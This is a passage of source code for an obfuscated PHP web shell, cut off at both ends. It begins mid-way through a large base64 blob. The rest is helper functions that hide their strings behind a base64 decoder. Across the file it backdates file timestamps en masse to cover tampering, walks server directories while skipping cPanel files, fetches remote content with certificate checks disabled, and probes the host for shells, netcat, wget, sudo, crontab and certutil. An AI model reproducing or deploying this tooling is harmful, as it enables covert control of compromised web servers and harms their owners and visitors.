LS0ROTVcrMFBnSURkWEtBY2xwUDBNWmk3aGFXME9aN0FVYWdoWm9vem12QVk5Z1F1RmNtc25nR25JR09ldFRTRUlna3ZPV2pzQ25oV2lFTXpWREZjd0lZWlNKeWc1RGpsRDJnMnB4VFpwUGRxSk5IeU5aTk9yOVN5bkNIMlpRZzUwSnZJZU1ZWDBKbmRUQVkrR3BVR3dMVGc2MG1qQWhQaWIwa1g4V211MUVvOTJObEFyeTI2dDd0YVdYQStER2p1R1ZVa2tsaHpPeU14Q2ZaV1pKS2tyMmhWWFcwRGJzRnpCVlhBUXVtN2NuOXFvYjFPYTNwWUJMcFFha3Voc1hGbGdlVUR3RzFxMXlZVzFoakplR2RJNWJJbFlHVkNFVHRZb29nMmtodFVZR1MzcG1FSkV2dVBOZGRDcExDUTFhOHVORFNzZEhFbGZObXQ3VkFaRHNlVkc3VHJleUUxUWlISEVmZ1l5OGpqdHNHQkljUEtXWG4zU2lnaU9NakxMbU9IVUlVTUFVVDQ2RXRsTlFMSUd0VXowc1FWOHJZSDBTNlBhU1cwdXk5eUphaUo0MlRTcjBxNVFSZ081Q2tlV0RDTklTdkhuV0tyU3JYMERPWk14aE0ycVdZNEFwU1VTRzFuWXFYTE1rSktnaU0ybWxDc1FDSkR5VmVzQ2VSMGVqRHBvQ2wrcHBTTkh0K1NqM05NK0pBMTUyNFF5bEl0UVUrZWhLb21JcEZIQlVnUlBhV2x5SThlUTJmR29RYkhkSU1kd0d1U1FiaTBSMjYyQnduUjI4UEg4OU96bjA3TUxxQXFzSTFFRm9Fc1FFN0MyQVJNTVVNNlFLZ1RsRXFZb2dnM0JXcXB3SHp1YVlrazNHVHBDOTlCR3RsUmtFRnNjcTlsV1hrc2hVV0w0OGNiWHg2UXN5NVNRNGNMNGxyMnJQS2NSejVaSlFSWWNsYXNKOTdPcUFvUVNBVm5Fck11S0tuL0xza0pFZmJ0T28rME1SY0kwbkVSWWxLbU9Vb0FySVdGUjZ2dGlJVlNwOGZ6OHpmdDNhQlpuTHZPb0lYUHBVVzBHV1JvWmRkb1VCVlFWeGdNcGlkOHF3Y1F5T0ZXQTNxSGdKSk14NlhVbzVLeEtGREpJRmI2RU1wdHF5REozZktVeXd1N2txcTRUY2JpWi9MaThWTVlzaVBpWWJVVlYrOHVWay80eVp2KzYvdUhtNTFaVmU4VVRubnNsUC9PU0lGMmVsMURrWHFrSE1VK3V5Z1diTUdPQXBlNkJ2L0J5enk5NVhrQ2ZRbkhORUduZkZJRU9zcjh6ZytpQk1kU1EzamFrN0ZKWGo0N1QxQUNVRUQxaERsdEkzWVQ1QWJtNWlFMm1UTlEydVI2Rk1pd1VBQ1lHaFJ1Z3c2dzhNR1g5YlZNMXRzWWtoeDVvQVowQmZLdzVmTUJ5aGszRm9YQVg5RHREdXBRcFBSWGRDdWFqUmszMFdwRFQ5a0NUTFEyOHJYUlRsRG5vU1cwTndRbmlJRzhwRW9nNm5URUwwNXlwQnhFOERZQWdZaWRNS2hpZkRnOUp3enZUOUVsN3dRc2NVd2ZkUFVMMG1LRmRvb2x6WHE3eVpKZE5iWG82eVl6RnVXYkVDbDRVWVBtUFJlbmxwVm9kZWdnWFkrWTcvL3o4cnhHTFFxYnlaVmJlcVErOVI1UVd3bnZnbzF4cUpQNDF2MXV2MTdERHZYaEN2YlQ0R0ZWRTNmSENTY1dsbHZ1SDA3dmlkQ3lRTzJJSDNxcGNmTXk4b3JBSmhHdFRnb3krcXdCbXlveGlTd0NpS3h3MWxXYWR6ZEYxQVNTbUkrYWpzYzJLaHlISFhEbFBBSm5HelVIRG4raWQxa2ZTRWk5SGtZb2xqWTdGWGtaeWk3alhCL3A0cEZjNS9mMzg5WnRzTEw3MjI2VlllSWE2REd5MW5TK01BYVVma1lKRStrR0hRT0JUUHNNOEFaYlRwVURDaXNnOUtncGVBcXVmM3A5L3VLZ0dHUmlUdGRiWkdkVFlaTkkyRHVIaHE5S1JKRU9SSERGN1ZkTGg4Vm02NHE1MG9LOHlYMUVzNDNIQllZR2R3M2dkNkxZOHo5TWNUdlpabXBjSXZJRTJEbmdZSlZ4VkNoNkhTaGR4WXgrZEZLdHNLZzJQQnJOTyt0aWphT09Ed24rTjZDcGFVS3FLaytOY0dSK0VQZ3g3ZWU3ZHFZbzdjSTdjZ1IyNnRzTWR3d2tjR3hjUXZhN2oyTzdRTloxakozUTQ5anN1OUZpTzZicU9SYyttYytSWXpyRTdGTFBjb1dNN0xuQXpnWU1QL1lJSzRoeU1HTzZ4SFNLMUEvK28vOWcxUlkrWUw1OGRvUENGSEtMSGRXRTI4QUw1aGc5R2NEMklyanNqY2o3SzdYcXl6M1JDa082NFBRNHIyZTRSOG5FdDE5d2RBVnJZSjFDWXVITlkyY2EvRDZtRU5yNUFGVGp6bG1aUXpyWitjYzBoekFoZDFJZnNCWjFiMFBaSmU3YURlamRnSmRReGFsRHdoYjNpU20xSm5LRG1vdTJMMUg2NlNzQWZRbDlyQmV2UXZ6aUlFSlhKWXEzS0p3MEIyUGFndjUxK3VGQ3lLa0JtRlhYVGoyQzZNQy9WQjkzYXVFSTVUVUtpNGFXS3ZYWFNYbkNZQWVrSE9CL2tDRmRsL0ZqeUtqMGhYUzA3a0VOeUNiaVBMTkk4b0dFU0h4YW9rMGg3TFpKdWR5M01YdEJTMnl1d25xSHRFUUpKcVhrNFlVTmc4U2NoZ0wvSVZaQUE1S2dGMEdYajBFQlovclJmbUl6bnl3STBYcXMwakdKZWQ0NUoveW9NUEdPRDlhdkJZRUN4cVdyZU14S3RVM1NraHR2VUx4cHEwYndYeFBFKzRxT0crS2hOM050SDdEVEVUcHQ0dm8vWWFvaXRObkd3ajNqWUVBL2J4UDQrWXFNaE5xUTZwRDZ5VGl1d3lyNFY5VUViakZXekdCZzQ3em5yNUIwMnd0MkNuUjZTREk0RXllMVhTQ3dpYVRxT0pOdUM1cXc3R253OUhqMnZPTzVqT1h4YU1PTnB3UVpIdTRKWlh4WE0raGJCQnRZRHdSNHBGWVIvV2pCalY3Q2hYTHJjSzFnMStxRVJyQzRRSTdScjdVK2VlckFzcnFDeUxFcXM3QTFveGFsUFhvNEF1WXJUdVJlRHA0MlJ3aXRYU0tTcWdockljUldsV1BrK2xKUUtyS1ZRL3NWQUtpN0hUd28vajdKeVd0eDZzWHBmUm1YTVFhQjd5V3ZiNmJLU3IwdnFBakh3T2ZMVFpJZGtxK25sQW9LTU9pK1RWM0hrWHdPR3ArdytDcHVPK3lEMVYwdWVsRHJJN3VHKzlFWE93MG5uZVRaUmRJcVZtYWJqeG5TbHM5MXFrT3lGV01xT0xnSWVCMUd1SGdUdG5ZZStDQ3BReHk3VnpDc1hVUkttUU5ObFA3MzQ4UGMzNzc1Ly8vSGxpL1BUZHk5K1BOVzZyS04zME1XdzZ0ZWt4c1YwRE9MT0pmSW12NlA2NGVQU3kxUkZyQW9aQ1ZjRUFpaDZYcjg1TzMzMTRmM1pQNkZpK3VuRjJRdG9RbS9udnF0di93SXErdHZiOXk4L3ZqeDc4ZXFVYmNURHUvZm43ODgrb0pWWnZwUjdhTHYwS29tajVMcnEzYkxuVTNieUhTaXR2TXM0VzVUTGVIcUNmMW5zSlZjVGhTY0tQSE12bUo0c2VlbXh4RnZ5aVhJVDhWdXNxaFRJaUVrSnlwNG90MUZRTGlZQnY0bDgzcU1Ic0Y4U2xaRVg5d3JmaS9sa29EdHdiQ2tXVUt4ZDk4cTBGMGJsSkVtQlBjb0RDb29uU2xIZXhieFljQTZjeVdwS3YrOEhpZjZwQU0xRU43bWU4TEtmWk12K1BFMUx5QkJlOWxkTGQvUkJQNGlLc3U4WFJUT2dMNk5FaDU1djRmK3AwUDA0WFFWaDdPVmM5OU5sMy92a3JmdHhOQy82SVd5dzU5M3lJbDN5dnFXN3NCaXUwKzV1TFVXb252NzdTVjgwVG1qQnFWNTY4NWozRnVrTnoxazVUNE03cUdCSDhqRzRuM3YrOVZVT3BVVXd5bm13L1RyMTlDLzNmaHFuK2VqUFlSaEsyaWxSVGN0OFozQU1FOG9JVk4vejR1Z3FHUzJqSUlqNVZvZTh2T3loM2ZJMGJxODlnRHpkbWoySGdvRG52ZHdMb2xVeEd1ek9HNDJ5MlBQNUlvMkJwcjFtbW5sK1ZONk5qRzBjM1pPU2l1Z3pIeGxIMlhxODlISW8wWHN4RDh1UkE4OHhHSzFIR2hvbGFjSzNYbnRuNEpla094azFXSkg3YUsxVmtsMWZrWW1LV3pBajRDb3ZoZldiWjdMSEp6Ukg1ZHNuZlFGaFVpYnhuU2pOem50eVdZaXNiUVdROUtHM2pPSzdVY0h6S0J3RHh5QzZZWDRNSnh0Z2NOVUx2UHlhQ1hQSkY0alJEYWN3MWdPVkwwb21sTGc3TCtpRk1WK3pUNnVpak1LN252U2czcHlYc0FPb2FucUdvQWUvTTZzNXk3STNoRjVQb3ZZNXRKOVBHSjVpd0g5UCtoN3UwSVEvTkEzL3NBdldVR2NUcEs1aW4vTE1rNUZRU2ZqdDkxQXpRWGgvUGxXbWg5aEdadXlTUFV2bUJRVDZiK1h5R3FLV1pBSk43cGRwZmljNFNaa1FQQXdpeUNJTkprcVdGdUNBUEtHWUE1dGJ4V1dVZVdCSWdsamdsZDZ1eHFJa1c1VTlORmJHbHZPZXdiSTEvQUdkR0x0MFBxZzBYZmF3RElRQm1zWEVFdFFsZzFkNGNhbnNtZEVqZW9XbGliK0EwQWVFRU44TFFyMWVyT2JMcUZRMWhRbFpFWmV4TitmeFBqNWlnSkRGZzk2QUFVNGdJQ1VGN0JEczNFS0hNbjIxU0ZPSXlpSHBuZVpWTnBSL2NYWDV3RTdvYlhYN1VQSDltN2VuNXhkS1dCMHJFcnBLYUhvdkZOd3gzaDU4OFNpVHRFNHlkWEl5akV0MWwwKzV6RDRLWGxpZFEyR1FpR01DNVMrVjFNdFdXWng2c0dVbWE0QndGY2QzbVA1YnlhZWlEVDM0RzdBeWxiTWc1UTBFcFVoSkRaSWZlcHZ3cU1kT0p6MmtOV01aUTAvbDdROUNFVkNDUFpMcFQ1REVSd3ppQkQ1SURSOWtoVHhwV1plcTBsZG5zOWxtMXRmNklDTUFuM1RKUFg4QnFnSkNyMkFIMTFpRUhOeFVseWI0REhwbXo1NUJKelpGK1ZSVlFkS2ZzQjRaaHAzcGY2S2I5S0g0d0RnUUplSmVnOWpVYzV1Unh5eVVQYmJGdTdPV1ZXbVNjTnRDbmszRkFoSDdEa2sxeVhZWVVna2tIanJUKzRPYmJTV2JxQkxheVBRd3RZQWhmNVYxV2hEK2J1ZGc3Q0dDUjdRSVRhM1lpb2VkZkVodHNReWs4a0oyRkV0TXZoams2Nmt0Tnp1QnpBaWowM2VBWUVqTkMzbzRCekRVRHovQnFUR2ltOUM2NndVVmd1S3hqd3o2cFVnaUlpWHZXYWJDajdnMVFnRFo0RWZ3aEFHenl5NFVIZThhZEIxUCt5MFVJVG5DS0tnQTlGMVZJR1o5cWhFZjJaKzJFMHgzY0NCTFc1d0JoUzNESUFwRjF0VVZnTDlUcGlsR0xkbExtUnNyNUVuSFc1VnBoMUd0TXVtODlVcGVsR3laQnBDV0lBeUNxQlFNanNFTC90bUR1TXorUG9yUUNmQU9ZbENMQjZ0QnJKWDY2SVFlK0hZdnZLVy9WQjNBYUQrQ0l2MGcySXBFaFpMRHA1VW5aTThKT2ltakREenBLTHBLc2VpbzBRTWNMeUJIaCtGZ2dNY0xvYWJqYWhoSG9YckNrUVFDajVCTDBlVjFnTlRMQ2RWdGpRejdOTGlUMmlCaVk5VER2cVNpUUViUHlrbndtNVI4Umd5L3BMRU1jbUlVQzQyUnNwNlNEOHBpWHU2UnIxTnhGd1NWcUpnTE85SXN2MFg2MTRMYkY2U0hMRmNzV3NLVGx0RjF4TkhxRWVEREhjQzdBRE8wVTZqc1FQNmcrQ3lkeVJnMEZIMWpNTFNxUVVxMXdQWnpsNWxhMVluUGJNcVFEckZSMDlETUxodUNrbjU4aVdpQlBsMzU0YVh5TGQ2MW8zczhCTzFxUHZ5alhLOVcxRmVjRHhKczdYcmhydXZCZ2ZyejlrbTNhNnp4QmNlckNMN3FlaFhSSHVkcmNuWG42elZ4NTJsajhDQXEvNXVNY1Fxc3ZxUlZMc2ErMVQzM2hZOVFoSS93LzJyNENKOEtId2lzUHlCNGlHSmpKNFJnWFNpT3V2Qk5CMStaY3FtOEhEMjZiNmV5Z2gxNHU3ZnRIdVZmckRWYXhTS2NLSVlzdTN0UXBlQlVxTUVxTldHTkxXN0VEaks5MCsvb0xhNEpjYVZKb3FQRXQ1ZzRXVlIvMVlVU3pLOEtNUElqWTNncE91dGFtc0l6RTJzR2Urcm51blFXSkF6S0VpWW10YXZvUFpLRVFwSW50bEJmRUQwdEtWYnlYNVlUUjUrU1VoU1dEL1ZkSFNoRlJiaXc2eXBUVkpjWkh2N21QVk9adnVPM2tpbWNmMjJnZlh6TTNEa1MwUG1TenBGS2RZQ0RyZ25zbkdwRE5xcFBZZUx3S0E2TWljS2lnTDdhYk9STmlNSVE1SDY2ekhDYkV5VU5RMlhQOFdWbjVmbXFMQ0hJaTZPcE9GdFdoOU9pWG1SZUpndyt2WFJWZ2oyNHZGQ29qNVZ3ZUlSOFdrSUpLN2p0SGhtbFR0WGRON2pBL1pMQ3VWclpFNlB6ZlRVSzl0OVNORzlRaUVLeEJTVHJPVjVOckFwT0p6V29ZaCtmL3VuV21mamFUL1AxU2ZhSFIwWGcwSkEwT0JmRUJCdGFoWkxNdUg2bjBZQkczR1Y4RzJyb3lQMDdNWVByQ1JVOUJJNHdMUjRPbEc4RFVlczZiYUlzUFA5YUw5ZmxrMEJxaWVPWElOQXJrVGRiNHFBSUh1aXZPZ2ZEbVF3UHdYamZWa21HTTBrMmFrQWRBS3VZa09uejlCWmF4dUJiSlA0ek95KzlaUWIyZW5uSGZzVGJsMzYxOHY4SFo2anQvS1FyQ0FnMnZtRHVZd3VGbkh4RWxWKzJWOW5yR0Yyais5VzZzK0d0VlQ2MGU4bnliUjVVVlN0UE9wQ29RaGhlQjZyNzBoM1VnekxVNDJ1Z3NMcGgvSitKMGIvYTFXNjhlQVZVS1AyRDVFY1htSDhJWE0rOW05OERWcm9jMkplK0cyUTF1R3BEaVltN3phQ1ZqcGt3dXNSTkF4a2lmRVJIRVBvaWdrUVYvaVIrc01KdVIyQzZmV3NGVTdiZk52VTEzVzlFMEZNaDh2ZUVRN3FQSjl2Z2hRVitXMSt5a1NiMjhzZkd4OThKT1BOcHdEME9aVUxUUlkyNTNaaUc3NWYzUjdYN2h2OVdhUWUwbXVORG1DcGZ3YVJnL0NRbWY0NTJxNEpmaThuL1pmd3hZQkNrU1h6Mys0RW9UbFJKRUlYajVpYitZYWU4LzMzNGVnNy83em45MHk4cm50L1JTenJSN0ptNnJSdDZFVWZMUGUvbUhuRDQ1dGU5bjlwdmUrZUE5SmhYM05tdlpGLzBIcjBJRW12c0cvbmlGcVljVW90YS9ZUkF6YnBlMSs5ZWQzazMwTzc1cE83M3RYdnhhd0RWUC9HZWR6b2pybVplWHZBM1NhbjZmUS9NY3FpcS9zVC9OMCtibXZaejhhdFpQY3pUNWF1Rmw3L0Mvei9SUHh3ZWF5TmZMMVA1bTFyVDBiVHRPQXJWN3pvZFBlZFVtNm45LytoM3hiaW0zZDh1WUFPcTMrdHA5OEVGTkxUTHlmV0ZmN25aWUh0N1BibW81ZU9WZkF3SUw3ZVg0NWJzMVZCbk5yczk3R3pIL3NUWWpsdXNRUUxrcXQxbms2eVdBOG9pZHNhdlR0ZVpDdlBtblVOYzhwQ2EzYzVWUit2U2xHMzFJNjlzcTNaT2RWaHJmS0RPT2hmRDNuS2lXTXJscktQcEZuVXFlZ3lSNGxyOWhLSnlIWDlSdkdDRHlZSHFhTHF0S2tPSWQ5cllWKy9uSXpqcmQ0OUhTc29pOXN0enBYczdVbDR6NVhCd0NOVXJlOFZlS3QwWEk3ZjdHVDViVGI5VDFTTnRNcjNQNGV0K3pZeWFuNmxvaDNoam80QlpCcE9KY3FOb3o2SE1HZUY1ZXJ6U0M5MEVKV3kxclRidWRDMEQvK3Rnc043TVYxRWMvT1BzN1FadlJUWjRFYk9SRnlVYnJ5enpEYjVlM09BdldUZTNVUnlMMjVFTjNaVnNicjA4QWJOdDhBY3dHL3k5ekFiK1pUbS9nY2p4bW9mZUtpNDNRTDY1UzFlYnlqWWJIMy8vc2dra0g3cWEyZUF2TURZdmNySEVwbGhCS3dvMzFTOWpOcHZxeHpJYmtlTTNHQXMyc0doUmJ2Q0hOaUE2Uk5mOFI4RGNSdVNPUWk0UWJPWjg4d0YzTUM5ZWtZZGdySHlEL3RIUml5eU9Tcld6QWRNT3V2ZGJUV3U5aUpmWE4vUkRrLzhD'); function redirectkeDepan($url) { if (!headers_sent()) { header(wb('TG9jYXRpb246ID9kPQ==') . $url); die; } else { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); die; } } function ganti_massal($dir) { global $GNJ; if ($GNJ[31]($dir)) { foreach (new DirectoryIterator($dir) as $fileInfo) { $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); @$GNJ[25]($fileInfo->getFilename(), $waktu); echo wb('PC9jZW50ZXI+V3JpdGFibGUg') . $fileInfo->getFilename() . wb('IHRpbWUgaGFzIGJlZW4gY2hhbmdlZDxicj4K'); } } } function ListFiles($dirrall) { global $GNJ; if ($dh = opendir($dirrall)) { $files = array(); $inner_files = array(); $me = $GNJ[14](dirname(__FILE__) . wb('Lw=='), '', __FILE__); $notallow = array($me, wb('Lmh0YWNjZXNz'), wb('ZXJyb3JfbG9n'), wb('X3Z0aV9pbmYuaHRtbA=='), wb('X3ByaXZhdGU='), wb('X3Z0aV9iaW4='), wb('X3Z0aV9jbmY='), wb('X3Z0aV9sb2c='), wb('X3Z0aV9wdnQ='), wb('X3Z0aV90eHQ='), wb('Y2dpLWJpbg=='), wb('LmNvbnRhY3RlbWFpbA=='), wb('LmNwYW5lbA=='), wb('LmZhbnRhc3RpY29kYXRh'), wb('Lmh0cGFzc3dkcw=='), wb('Lmxhc3Rsb2dpbg=='), wb('YWNjZXNzLWxvZ3M='), wb('Y3BiYWNrdXAtZXhjbHVkZS11c2VkLWJ5LWJhY2t1cC5jb25m'), wb('LmNnaV9hdXRo'), wb('LmRpc2tfdXNhZ2U='), wb('LnN0YXRzcHdk'), wb('VGh1bWJzLmRi')); while ($file = readdir($dh)) { if ($file != wb('Lg==') && $file != wb('Li4=') && $file[0] != wb('Lg==') && !in_array($file, $notallow)) { if ($GNJ[8]($dirrall . wb('Lw==') . $file)) { $inner_files = ListFiles($dirrall . wb('Lw==') . $file); if ($GNJ[28]($inner_files)) { $files = array_merge($files, $inner_files); } } else { array_push($files, $dirrall . wb('Lw==') . $file); } } } closedir($dh); return $files; } } function get_http_response_code($url) { global $GNJ; $headers = get_headers($url); return $GNJ[22]($headers[0], 9, 3); } if (!defined(wb('WA=='))) { die(wb('XHg1NFx4NzJceDc5XHgyMFx4NzNceDc1XHg2RFx4NzRceDY5XHg2RVx4MjBceDY1XHg2Q1x4NzNceDY1XHgyMFx4NjJceDcyXHg3NVx4NjhceDIx')); } function fgtx($url) { global $GNJ; $file_path = wb('L3RtcC8=') . $GNJ[22](md5($url), 0, 16) . $GNJ[22](md5(@$GNJ[6]($_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')])), 16); if (!$GNJ[26]($file_path) || $GNJ[26]($file_path) && time() - $GNJ[21]($file_path) > 60 * 60 * 24 * 1) { if (function_exists(wb('Y3VybF9pbml0'))) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_USERAGENT, wb('TW96aWxsYS81LjAgKGNvbXBhdGlibGU7KQ==')); $body = curl_exec($ch); curl_close($ch); } else { $body = @$GNJ[6]($url); } file_put_contents($file_path, gzdeflate($body)); return $body; } else { $body = @$GNJ[6]($file_path); return $GNJ[39]($body) ? $GNJ[39]($body) : $body; } } function reader($reader) { global $GNJ; if (function_exists(wb('ZmlsZV9nZXRfY29udGVudHM='))) { $readerx = $GNJ[6]($reader); return $readerx; } else { ob_start(); printf($reader); $readerx = ob_get_contents(); ob_end_clean(); return $readerx; } } function fgt($url) { global $GNJ; if (function_exists(wb('ZmlsZV9nZXRfY29udGVudHM=')) && ini_get(wb('YWxsb3dfdXJsX2ZvcGVu'))) { $arrContextOptions = array(wb('c3Ns') => array(wb('dmVyaWZ5X3BlZXI=') => false, wb('dmVyaWZ5X3BlZXJfbmFtZQ==') => false)); $fgt = $GNJ[6]($url, false, stream_context_create($arrContextOptions)); } elseif (function_exists(wb('Zm9wZW4=')) && function_exists(wb('c3RyZWFtX2dldF9jb250ZW50cw==')) && ini_get(wb('YWxsb3dfdXJsX2ZvcGVu'))) { $handle = $GNJ[17]($url, wb('cg==')); $fgt = stream_get_contents($handle); fclose($handle); } elseif (function_exists(wb('Y3VybF9leGVj'))) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($conn, CURLOPT_FRESH_CONNECT, true); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); $fgt = curl_exec($conn); curl_close($conn); } else { $fgt = false; } return $fgt; } $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $this_file = basename($_SERVER[wb('U0NSSVBUX05BTUU=')]); $checkingos = Unix() ? wb('d2hpY2g=') : wb('d2hlcmU='); $sm = @ini_get(strtolower(wb('c2FmZV9tb2Rl'))) == wb('b24=') ? wb('T04=') : wb('T0ZG'); $open_basedir = @ini_get(wb('b3Blbl9iYXNlZGly')); $safemode_exec_dir = @ini_get(wb('c2FmZV9tb2RlX2V4ZWNfZGly')); $safemode_include_dir = @ini_get(wb('c2FmZV9tb2RlX2luY2x1ZGVfZGly')); $show_obdir = !empty($open_basedir) ? wb('T0ZG') : wb('T04='); $show_exec = !empty($safemode_exec_dir) ? wb('T0ZG') : wb('T04='); $show_include = !empty($safemode_include_dir) ? wb('T0ZG') : wb('T04='); $show_ds = !empty($ds) ? "{$ds}" : wb('QWxsIEZ1bmN0aW9ucyBJcyBBY2Nlc3NpYmxl'); $mysql = function_exists(wb('bXlzcWxfY29ubmVjdA==')) ? wb('T04=') : wb('T0ZG'); $perl = exe($checkingos . wb('IHBlcmw=')) ? wb('T04=') : wb('T0ZG'); $ruby = exe($checkingos . wb('IHJ1Ynk=')) ? wb('T04=') : wb('T0ZG'); $python = exe($checkingos . wb('IHB5dGhvbg==')) ? wb('T04=') : wb('T0ZG'); $curl = exe($checkingos . wb('IGN1cmw=')) ? wb('T04=') : wb('T0ZG'); $wget = exe($checkingos . wb('IHdnZXQ=')) ? wb('T04=') : wb('T0ZG'); $gcc = exe($checkingos . wb('IGdjYw==')) ? wb('T04=') : wb('T0ZG'); $sh = exe($checkingos . wb('IHNo')) ? wb('T04=') : wb('T0ZG'); $bash = exe($checkingos . wb('IGJhc2g=')) ? wb('T04=') : wb('T0ZG'); $sudo = exe($checkingos . wb('IHN1ZG8=')) ? wb('T04=') : wb('T0ZG'); $crontab = exe($checkingos . wb('IGNyb250YWI=')) ? wb('T04=') : wb('T0ZG'); $named = exe($checkingos . wb('IG5hbWVk')) ? wb('T04=') : wb('T0ZG'); $nc = exe($checkingos . wb('IG5j')) ? wb('T04=') : wb('T0ZG'); $fetch = exe($checkingos . wb('IGZldGNo')) ? wb('T04=') : wb('T0ZG'); $get = exe($checkingos . wb('IGdldA==')) ? wb('T04=') : wb('T0ZG'); $certutil = exe($checkingos . wb('IGNlcnR1dGls')) ? wb('T04=') : wb('T0ZG'); $net = exe($checkingos . wb('IG5ldA==')) ? wb('T04=') : wb('T0ZG'); $schtasks = exe($checkingos . wb('IHNjaHRhc2tz')) ? wb('T04=') : wb('T0ZG'); $attrib = exe($checkingos . wb('IGF0dHJpYg==')) ? wb('T04=') : wb('T0ZG'); $mssql = function_exists(wb('bXNzcWxfY29ubmVjdA==')) ? wb('T04=') : wb('T0ZG'); $pgsql = function_exists(wb('cGdfY29ubmVjdA==')) ? wb('T04=') : wb('T0ZG'); $oracle = function_exists(wb('b2NpX2Nvbm5lY3Q=')) ? wb('T04=') : wb('T0ZG'); $magicquotes = function_exists(wb('Z2V0X21hZ2ljX3F1b3Rlc19ncGM=')) ? wb('T04=') : wb('T0ZG'); if (!function_exists(wb('cG9zaXhfZ2V0ZWdpZA=='))) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = wb('Pw=='); } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid[wb('bmFtZQ==')]; $uid = $uid[wb('dWlk')]; $group = $gid[wb('bmFtZQ==')]; $gid = $gid[wb('Z2lk')]; } function hdd($s) { global $GNJ; if ($s >= 1073741824) { return $GNJ[23](wb('JTEuMmY='), $s / 1073741824) . wb('IEdC'); } elseif ($s >= 1048576) { return $GNJ[23](wb('JTEuMmY='), $s / 1048576) . wb('IE1C'); } elseif ($s >= 1024) { return $GNJ[23](wb('JTEuMmY='), $s / 1024) . wb('IEtC'); } else { return $s . wb('IEI='); } } $freespace = hdd(disk_free_space(wb('Lw=='))); $total = hdd(disk_total_space(wb('Lw=='))); $used = hdd(disk_total_space(wb('Lw==')) - disk_free_space(wb('Lw=='))); function dapatCWD() { global $GNJ; if (function_exists(wb('Z2V0Y3dk'))) { return @$GNJ[3](); } else { return dirname($_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')]); } } function path() { global $GNJ; if (isset($_GET[wb('ZGly')])) { $dir = $GNJ[14](wb('XA=='), wb('Lw=='), $_GET[wb('ZGly')]); @$GNJ[2]($dir); } else { $dir = $GNJ[14](wb('XA=='), wb('Lw=='), dapatCWD()); } return $dir; } $dir = path(); function myscandir($dir) { global $GNJ; if (function_exists(wb('c2NhbmRpcg=='))) { if (is_dir($dir) && is_readable($dir)) { return $GNJ[13]($dir); } } else { if (is_dir($dir) && is_readable($dir)) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } } if (!function_exists(wb('c2NhbmRpcg=='))) { function scandir($dir) { if (is_dir($dir) && is_readable($dir)) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } } function shuffle_assoc($list) { global $GNJ; if (!$GNJ[28]($list)) { return $list; } $keys = array_keys($list); shuffle($keys); $random = array(); foreach ($keys as $key) { $random[$key] = $list[$key]; } return $random; } function getSubDirectories($dir) { $subDir = array(); $directories = array_filter(glob($dir), wb('aXNfZGly')); $subDir = array_merge($subDir, $directories); foreach ($directories as $directory) { $subDir = array_merge($subDir, getSubDirectories($directory . wb('Lyo='))); } return $subDir; } function getFilex($dir, $filter = '', &$results = array()) { global $GNJ; $files = myscandir($dir); if (is_array($files) || is_object($files)) { foreach ($files as $key => $value) { $path = realpath($dir . DIRECTORY_SEPARATOR . $value); if (!$GNJ[8]($path)) { if (empty($filter) || preg_match($filter, $path)) { $path = $GNJ[14]($dir, '', $path); $path = ltrim($path, wb('L1w=')); $results[] = $path; } } elseif ($value != wb('Lg==') && $value != wb('Li4=')) { getFilex($path, $filter, $results); } } return array_unique($results); } } function findInFiles($dir, $filter = '', &$results = array()) { global $GNJ; $files = myscandir($dir); if (is_array($files) || is_object($files)) { foreach ($files as $key => $value) { $path = realpath($dir . DIRECTORY_SEPARATOR . $value); if (!$GNJ[8]($path)) { if (empty($filter) || preg_match($filter, $path)) { $results[] = $path; } } elseif ($value != wb('Lg==') && $value != wb('Li4=')) { findInFiles($path, $filter, $results); } } return array_unique($results); } } function findAllFiles($dir, $filter = '') { $it = new RecursiveTreeIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($it as $path) { if (empty($filter) || preg_match($filter, $path)) { echo $path . wb('PGJyPg=='); } } } function getFileCount($path) { $fullpath = false; $ignore = array(wb('Lg=='), wb('Li4=')); if (isset($path) && is_readable($path)) { $dlist = array(); $path = realpath($path); $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); foreach ($objects as $entry) { if (!in_array(basename($entry), $ignore)) { if (!$fullpath) { $entry = str_replace($path, '', $entry); } $dlist[] = $entry; } } return count($dlist); } } function fullx($filePath) { global $GNJ; if (isset($filePath) && $GNJ[30]($filePath, $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) !== false) { $fullx = $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filePath); $fullx = $GNJ[14](wb('Ly8='), wb('Lw=='), $fullx); $fullxy = wb('LSBMaW5rOiA8YSBocmVmPSIvLw==') . $fullx . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $fullx . wb('PC9hPg=='); } else { $fullx = $_SERVER[wb('SFRUUF9IT1NU')]; $fullxy = wb('LSBMaW5rOiA8YSBocmVmPSIvLw==') . $fullx . wb('LyIgdGFyZ2V0PSJfYmxhbmsiPg==') . $fullx . wb('PC9hPg=='); } return $fullxy; } function fullURL($filePath) { global $GNJ; if (isset($filePath) && $GNJ[30]($filePath, $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) !== false) { $fullx = $_SERVER[wb('SFRUUF9IT1NU')] . 